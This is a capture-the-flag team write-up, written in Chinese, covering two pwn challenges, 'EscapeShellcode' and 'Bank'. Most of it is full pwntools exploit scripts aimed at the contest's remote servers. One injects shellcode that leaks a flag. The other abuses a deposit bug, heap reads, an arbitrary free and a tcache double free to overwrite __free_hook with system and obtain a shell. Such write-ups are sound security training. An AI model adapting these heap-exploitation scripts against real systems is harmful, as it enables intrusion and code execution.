## PWN

### EscapeShellcode | SOLVED | working: Ichild, EastXueLian

本地调试发现堆块后面有地方放着libc相关地址( libseccomp中地址 )，根据libseccomp的got表获得glibc版本为2.27，后续根据environ变量得到栈地址，在栈上往前找得到elf相关地址，然后就可以把bss上的flag write出来了

exp.py:

|  |
| --- |
| #!/usr/bin/python3 #-\*- coding: utf-8 -\*- from pwn import \*  context.log\_level = 'debug' context.arch='amd64' context.terminal = ['tmux','sp','-h','-l','120']  # remote\_service = "" # remote\_service = remote\_service.strip().split(":") # p = remote(remote\_service[0], int(remote\_service[1])) p = remote('39.106.156.74', 15163)  filename = "./pwn" # p = process(filename)  e = ELF(filename, checksec=False) l = ELF(e.libc.path, checksec=False)  rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s))) i2b = lambda c : str(c).encode() uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) def debugPID():  # lg("p.pid")  # input()  pass  # environ = 0x3ee098 # prctl = 0x122210 def send\_code():  code = asm(  f"""  lea rsi, byte ptr [rip - 0x2ba]  add rsi, 0xf69  mov rsp, rsi  lea rdx, byte ptr [rip + 0xfb5 - 7]  mov r8, [rdx]  add r8, 0x3e8  mov r9, [r8]  sub r9, 0x122210   mov r8, r9  add r8, 0x3ee098   mov r9, [r8]  sub r9, 0x40   mov r8, [r9]  sub r8, 0x11a0  add r8, 0x4120   mov rdi, 1  mov rax, 1  mov rsi, r8  mov rdx, 0x40  syscall    """  )  p.send(code)  debugPID() send\_code() debugPID() irt() |

### Bank | SOVLED | working: EastXueLian, lrcno6

注意到deposit功能中在number==cash时会出现cash不减但money增加的bug

管他三七二十一先猛刷一波钱再说

void \_\_fastcall Deposit()

{

unsigned \_\_int64 number; // [rsp+8h] [rbp-8h]

if ( is\_logged\_in() )

{

printf("How Much? ");

number = read\_number();

if ( number <= cash )

{

remove\_cash(number);

money += number;

puts("The operation finished!");

}

else

{

puts("Not enough!");

}

}

else

{

puts("Login first!");

}

}

void \_\_fastcall remove\_cash(unsigned \_\_int64 delta)

{

if ( delta < cash )

cash -= delta;

}

然后在transfer功能中，admin来实现堆上读，hacker实现任意地址free，guest会malloc一个0x20的堆块（并写0x10字节），ghost会realloc（0<size<=0x100）

通过realloc可以产生一个tcache的堆块，并通过堆上读获取堆地址，伪造一个large bin范围的堆块并将其free掉获取libc地址，利用double free写free hook即可

exp:

from pwn import \*

context(os='linux',arch='amd64',log\_level='debug')

elf=ELF('./Bank')

libc=ELF('./libc-2.31.so')

sh=remote('47.94.194.27',35569)

# sh=process('./Bank')

# attach(sh)

# raw\_input()

def login():

sh.sendlineafter('Click:','Login')

sh.sendlineafter('Numbers:','114514')

sh.sendlineafter('Password:','114514')

def deposit(count):

sh.sendlineafter('Click:','Deposit')

sh.sendlineafter('Much?',str(count))

def put(count):

sh.sendlineafter('Click:','Put')

sh.sendlineafter('Much?',str(count))

def admin(offset):

sh.sendlineafter('Click:','Transfer')

sh.sendlineafter('who?','admin')

sh.sendlineafter('much?',str(offset/8))

sh.recvuntil('think ')

pstr=sh.recvuntil(' is',drop=True)

if pstr=='(nil)':

return 0

return int(pstr,16)

def hacker(addr):

sh.sendlineafter('Click:','Transfer')

sh.sendlineafter('who?','hacker')

sh.sendlineafter('much?','51')

sh.sendlineafter('Great!',str(addr))

def guest(content):

sh.sendlineafter('Click:','Transfer')

sh.sendlineafter('who?','guest')

sh.sendlineafter('much?','6')

sh.sendafter('data:',content)

def ghost(sz):

sh.sendlineafter('Click:','Transfer')

sh.sendlineafter('who?','ghost')

sh.sendlineafter('much?','11')

sh.sendlineafter(':)',str(sz))

login()

put(400)

cash=400

while cash<=100000:

deposit(cash)

put(cash)

cash\*=2

ghost(0xf0-8)

ghost(0xd0-8)

heap\_addr=admin(0xf0+8)-0x10

success('heap='+hex(heap\_addr))

guest(flat(0,0x471))

guest('\n')

ghost(0xe0-8)

guest('\n')

ghost(0xf0-8)

guest('\n')

ghost(0x100-8)

guest('\n')

ghost(0x100)

guest('\n')

guest('\n')

guest('\n')

guest('\n')

hacker(heap\_addr+0x3a0)

unsorted\_bin=admin(0x100)

libc\_base=unsorted\_bin-libc.sym['\_\_malloc\_hook']-0x10-96

system\_addr=libc\_base+libc.sym['system']

free\_hook=libc\_base+libc.sym['\_\_free\_hook']

success('unsorted\_bin='+hex(unsorted\_bin))

success('libc\_base='+hex(libc\_base))

success('system='+hex(system\_addr))

success('free\_hook='+hex(free\_hook))

hacker(heap\_addr+0x2a0)

hacker(heap\_addr+0x390)

hacker(heap\_addr+0x4b0)

hacker(heap\_addr+0x5c0)

hacker(heap\_addr+0x6e0)

hacker(heap\_addr+0x810)

hacker(heap\_addr+0x830)

hacker(heap\_addr+0x850)

hacker(heap\_addr+0x870)

hacker(heap\_addr+0x850)

for i in range(7):

guest('/bin/sh\0')

guest(flat(free\_hook-0x8,heap\_addr+0x10))

guest('\n')

guest('\n')

guest(flat(0,system\_addr))

hacker(heap\_addr+0x2a0)

sh.interactive()

sh.close()